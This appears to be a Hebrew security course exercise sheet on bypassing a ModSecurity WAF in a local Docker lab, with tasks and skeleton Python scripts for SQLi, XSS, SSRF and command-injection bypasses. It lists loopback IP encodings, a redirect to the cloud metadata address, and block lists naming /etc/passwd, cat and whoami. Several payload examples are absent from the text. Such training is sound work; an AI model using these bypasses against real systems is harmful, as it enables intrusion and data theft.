עקיפת WAF לכל חולשה - תרגיל¶
הכנה¶
# הקמת סביבה עם ModSecurity CRS ברמת פרנויה 3
docker run -d --name modsec-vuln -p 8080:80 \
-e PARANOIA=3 owasp/modsecurity-crs:apache
תרגיל 1 - עקיפת WAF ל-SQLi¶
נקודת הזרקה:
השאילתה בצד השרת:
משימה:
-
נסו את המטענים הבאים ותעדו אילו נחסמים:
-
מצאו לפחות 3 שיטות שעוקפות את ה-WAF
-
בנו מטען שמחלץ את שם המשתמש והסיסמה מטבלת users:
import requests target = "http://localhost:8080/products" bypass_payloads = [ # השלימו - מטענים שמחלצים נתונים ] for payload in bypass_payloads: r = requests.get(target, params={"category": payload}) print(f"[{r.status_code}] {payload[:50]}...") if r.status_code == 200: print(f" תגובה: {r.text[:100]}...") -
בנו מטען Time-based blind SQLi שמשתמש ב-BENCHMARK במקום SLEEP:
תרגיל 2 - עקיפת WAF ל-XSS¶
נקודת הזרקה:
ה-WAF חוסם: <script>, alert, onerror, onload, <iframe>, javascript:
משימה:
-
נסו את המטענים הבאים:
-
מצאו מטען שמריץ
alert(document.cookie)ועוקף את כל הפילטרים -
כתבו מטען XSS ללא סוגריים:
-
כתבו מטען שמשתמש ב-Function constructor עם קידוד:
תרגיל 3 - עקיפת WAF ל-SSRF¶
נקודת ה-SSRF:
השרת מבצע בקשת HTTP ל-URL שהמשתמש מספק. ה-WAF חוסם:
- 127.0.0.1
- localhost
- 169.254.169.254
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
משימה:
-
כתבו סקריפט שמנסה ייצוגים חלופיים של 127.0.0.1:
import requests target = "http://localhost:8080/api/fetch" ip_variants = [ "http://2130706433", # decimal "http://0x7f000001", # hex "http://0177.0.0.1", # octal "http://[::1]", # IPv6 "http://[::ffff:127.0.0.1]", # IPv6 mapped "http://127.1", # short form "http://0", # resolves to 0.0.0.0 "http://0x7f.1", # partial hex # הוסיפו עוד ייצוגים ] for url in ip_variants: r = requests.get(target, params={"url": url}) status = "PASS" if r.status_code == 200 else "BLOCKED" print(f"[{status}] {url}") -
נסו עקיפה דרך DNS:
- הגדירו A record שמצביע ל-127.0.0.1
-
השתמשו ב-nip.io:
http://127.0.0.1.nip.io -
נסו עקיפה דרך redirect:
-
הקימו שרת שמחזיר 302 ל-
http://169.254.169.254/latest/meta-data/ -
נסו סכמות URL חלופיות:
תרגיל 4 - עקיפת WAF ל-Command Injection¶
נקודת הזרקה:
השרת מריץ:
ה-WAF חוסם: ;, |, &, `, $(, cat, ls, /etc/passwd, whoami
משימה:
-
נסו שברי פקודה חלופיים:
-
נסו wildcards:
-
נסו הרחבת משתנים:
-
נסו מרכאות:
-
שלבו מספר טכניקות ומצאו מטען שמריץ
cat /etc/passwd:
תרגיל 5 - בדיקת WAF אוטומטית¶
משימה:
כתבו כלי Python אוטומטי שמקבל URL ונקודת הזרקה, ומנסה באופן אוטומטי עקיפות לכל סוגי החולשות:
class AutoWAFBypass:
def __init__(self, target_url, param_name, method='GET'):
self.target = target_url
self.param = param_name
self.method = method
def detect_vulnerability_type(self):
"""ניסיון לזהות את סוג החולשה"""
# השלימו - שליחת מטענים בסיסיים וזיהוי לפי תגובה
pass
def generate_sqli_bypasses(self, base_payload):
"""יצירת מטעני SQLi עם עקיפות"""
# השלימו
pass
def generate_xss_bypasses(self, base_payload):
"""יצירת מטעני XSS עם עקיפות"""
# השלימו
pass
def generate_ssrf_bypasses(self, target_ip):
"""יצירת מטעני SSRF עם עקיפות"""
# השלימו
pass
def generate_cmdi_bypasses(self, command):
"""יצירת מטעני Command Injection עם עקיפות"""
# השלימו
pass
def run_all(self):
"""הרצת כל העקיפות"""
vuln_type = self.detect_vulnerability_type()
# השלימו
pass
# שימוש
bypass = AutoWAFBypass("http://localhost:8080/search", "q")
bypass.run_all()
- השלימו את כל המתודות
- הוסיפו לפחות 10 מטענים לכל סוג חולשה
- הוסיפו דיווח שמסכם: איזה מטענים עברו, באיזה status code, ומהי התגובה
תרגיל 6 - אתגר משולב¶
ה-WAF מגן על אפליקציה עם מספר נקודות חולשה:
| נקודת קצה | חולשה | פרמטר |
|---|---|---|
/search |
XSS | q |
/products |
SQLi | category |
/fetch |
SSRF | url |
/tools/ping |
Command Injection | host |
משימה:
- לכל נקודת קצה, מצאו לפחות עקיפה אחת שעובדת
- שלבו טכניקות מפרקים שונים:
- קידוד (פרק 8.2) + תחביר חלופי (פרק זה)
- HPP (פרק 8.3) + תחביר חלופי
- Unicode (פרק 8.4) + תחביר חלופי
- פרוטוקול (פרק 8.5) + תחביר חלופי
- תעדו את כל השילובים שניסיתם ואת התוצאות
- דרגו: איזה שילוב הכי יעיל לכל סוג חולשה?